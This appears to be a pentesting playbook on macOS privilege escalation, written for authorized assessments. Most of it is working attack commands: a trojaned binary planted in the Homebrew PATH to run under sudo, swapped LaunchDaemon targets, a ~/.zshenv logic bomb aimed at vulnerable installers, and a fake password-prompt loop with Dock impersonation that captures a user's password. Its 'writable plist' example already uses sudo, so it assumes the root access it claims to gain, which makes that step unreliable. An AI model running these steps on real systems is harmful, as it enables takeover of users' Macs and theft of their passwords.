Performing Macos Privilege Escalation

Performing macOS Privilege Escalation

When to Use

• During authorized macOS assessments after gaining initial code execution as a standard user
• When a privileged helper, LaunchDaemon, or third-party updater is present and may expose a root-reachable interface
• When you can social-engineer a desktop user (Dock impersonation, fake password prompts) for a sudo-capable credential
• When evaluating SIP-bypass chains for persistence in protected system locations
• Note that most Linux/Unix privesc tricks (sudo misconfig, writable PATH binaries) also apply to macOS

Critical: Techniques Most Often Missed

1. sudo keeps the user PATH (Homebrew binary hijack)

Unlike Linux, macOS preserves the user's PATH across sudo. If /opt/homebrew/bin (Homebrew, almost always present on developer Macs) precedes system paths, you can plant a trojaned ls, git, etc. and wait for the victim to run sudo <binary>.

cat > /opt/homebrew/bin/ls <<'EOF'
#!/bin/bash
[ "$(id -u)" -eq 0 ] && whoami > /tmp/privesc
/bin/ls "$@"
EOF
chmod +x /opt/homebrew/bin/ls
# wait for: sudo ls

How to CONFIRM: run echo $PATH and verify a user-writable dir precedes /usr/bin; check sudo env | grep PATH retains it; confirm the planted binary fires as root (/tmp/privesc contains root).

2. Vulnerable privileged XPC / LaunchDaemon helpers

The dominant third-party privesc class: a root LaunchDaemon exposes a Mach/XPC service from /Library/PrivilegedHelperTools that fails to validate the client, validates too late (PID race), or runs a user-controlled path/script.

ls -l /Library/PrivilegedHelperTools /Library/LaunchDaemons
plutil -p /Library/LaunchDaemons/*.plist 2>/dev/null | rg 'MachServices|Program|ProgramArguments|Label'
for f in /Library/PrivilegedHelperTools/*; do
  echo "== $f =="
  codesign -dvv --entitlements :- "$f" 2>&1 | rg 'identifier|TeamIdentifier|com.apple'
  strings "$f" | rg 'NSXPC|xpc_connection|AuthorizationCopyRights|authTrampoline|/Applications/.+\.sh'
done

How to CONFIRM: the helper accepts requests after uninstall (job still loaded), reads scripts/config from non-root-writable /Applications/..., or relies on PID/bundle-id-only peer validation (raceable).

3. Writable LaunchDaemon plist / target → root (CVE-2025-24085 pattern)

If a LaunchDaemon plist or its ProgramArguments target is user-writable, swap it and force launchd to reload.

sudo launchctl bootout system /Library/LaunchDaemons/com.apple.securemonitor.plist
cp /tmp/root.sh /Library/PrivilegedHelperTools/securemonitor && chmod 755 /Library/PrivilegedHelperTools/securemonitor
# rewrite the plist ProgramArguments to your binary, then:
sudo launchctl bootstrap system /Library/LaunchDaemons/com.apple.securemonitor.plist

How to CONFIRM: ls -l the plist and target binary for group/other write or user ownership; after reload, your payload runs as uid 0.

Workflow

Step 1: Enumerate the user, sudo rights, and PATH

whoami; id; groups
sudo -l 2>/dev/null            # cached/allowed sudo commands
echo $PATH                     # look for writable dirs before /usr/bin
ls -ld /opt/homebrew/bin /usr/local/bin   # writable Homebrew paths
dscl . -read /Groups/admin GroupMembership # who is admin

Step 2: Hunt privileged helpers and writable autostart targets

ls -l@ /Library/LaunchDaemons /Library/LaunchAgents
ls -l /Library/PrivilegedHelperTools
# find world/group-writable plists or targets owned by non-root
find /Library/LaunchDaemons -perm -0002 -o -perm -0020 2>/dev/null
log stream --info --predicate 'eventMessage CONTAINS "security_authtrampoline"'  # catch helper calls

Step 3: Social-engineering / credential capture (when a GUI user is present)

AuthorizationExecuteWithPrivileges is deprecated but still works on Sonoma/Sequoia. Many updaters invoke /usr/libexec/security_authtrampoline with an untrusted path — plant a payload at a user-writable helper and ride the legitimate root prompt. You can also masquerade as Chrome/Finder in the Dock or loop a password prompt validated with dscl:

user=$(whoami)
while true; do
  read -s -p "Password: " pw; echo
  dscl . -authonly "$user" "$pw" && break    # validates without sudo
done
printf '%s\n' "$pw" > /tmp/.pass
# reuse non-interactively: clear quarantine, copy LaunchDaemons, etc.
printf '%s\n' "$pw" | sudo -S xattr -c /tmp/update

Dock impersonation: copy a real app's .icns, build a fake Google Chrome.app/Finder.app, then defaults write com.apple.dock persistent-apps -array-add '<...>' && killall Dock.

Step 4: Abuse installer / package logic bombs

Pre-fix (Sonoma 14.5 / Ventura 13.6.7 / Monterey 12.7.5) Installer.app/PackageKit ran PKG scripts as root in the user's environment — a #!/bin/zsh installer sources the attacker's ~/.zshenv as root (CVE-2024-27822 family).

pkgutil --expand-full Target.pkg /tmp/target-pkg
find /tmp/target-pkg -type f \( -name preinstall -o -name postinstall \) -exec head -n1 {} \;
rg -n '^#!/bin/(zsh|bash)' /tmp/target-pkg
echo 'id > /tmp/pkg-root' >> ~/.zshenv   # logic bomb; fires on next vulnerable zsh installer

Step 5: Kernel and SIP-class escalation (advanced)

• kauth credential race (CVE-2025-24118): race setgid()/getgid() loops across threads to tear proc_ro.p_ucred → uid 0 and kernel memory access.
• NSPredicate XPC abuse: Apple daemons (coreduetd, contextstored) that deserialize predicates and only validate expressionType can be driven to execute arbitrary selectors as root.
• Migraine (CVE-2023-32369): with root, abuse systemmigrationd's com.apple.rootless.install.heritable to patch SIP-protected paths.

Step 6: Read all files via Time Machine snapshot

Any user can mount a local snapshot noowners and read every file (the app, e.g. Terminal, needs Full Disk Access).

tmutil localsnapshot
tmutil listlocalsnapshots /
mkdir /tmp/snap
/sbin/mount_apfs -o noowners -s com.apple.TimeMachine.<date>.local /System/Volumes/Data /tmp/snap
ls /tmp/snap/Users/admin_user

Key Concepts

Tools & Systems

Common Scenarios

Scenario 1: Homebrew PATH hijack

A developer's $PATH lists /opt/homebrew/bin first. Planting a trojan git there runs as root the next time the user types sudo git ....

Scenario 2: Vulnerable VPN/updater helper

A VPN client ships a root LaunchDaemon whose XPC method runs a script from a user-writable /Applications/... path. Replacing the script yields root code execution without a prompt.

Scenario 3: Writable LaunchDaemon plist

A misconfigured third-party daemon plist is group-writable. Rewriting ProgramArguments and reloading with launchctl bootstrap system executes the payload as root on reboot.

Scenario 4: zsh installer logic bomb

The attacker drops id > /tmp/pkg-root into ~/.zshenv and waits; when the user installs any vulnerable zsh-based PKG, the line runs as root.

Output Format

## macOS Privilege Escalation Finding

**Vulnerability**: Local Privilege Escalation to root
**Severity**: High (CVSS 7.8)
**Technique**: Writable privileged helper / sudo PATH hijack / PackageKit logic bomb
**Host**: macHost.local (macOS 14.4, SIP enabled)

### Reproduction Steps
1. As user `staff`, enumerate helpers: ls -l /Library/PrivilegedHelperTools
2. Identify com.vendor.helper running script from user-writable /Applications/Vendor/run.sh
3. Replace run.sh payload; trigger helper via its XPC client
4. Confirm: id returns uid=0(root)

### Evidence
| Artifact | Detail |
|----------|--------|
| Helper | /Library/PrivilegedHelperTools/com.vendor.helper |
| Trigger | XPC method runHelperScript: |
| Proof | /tmp/privesc contains "root" |

### Recommendation
1. Validate XPC peers by audit token + code-signing requirement, not PID/bundle-id
2. Store helper scripts in root-owned, non-user-writable locations
3. Set LaunchDaemon plists and targets to root:wheel 644/755
4. Sign installers and avoid zsh/bash post-install scripts; patch to fixed macOS builds
5. Restrict admin group membership and audit Homebrew PATH ordering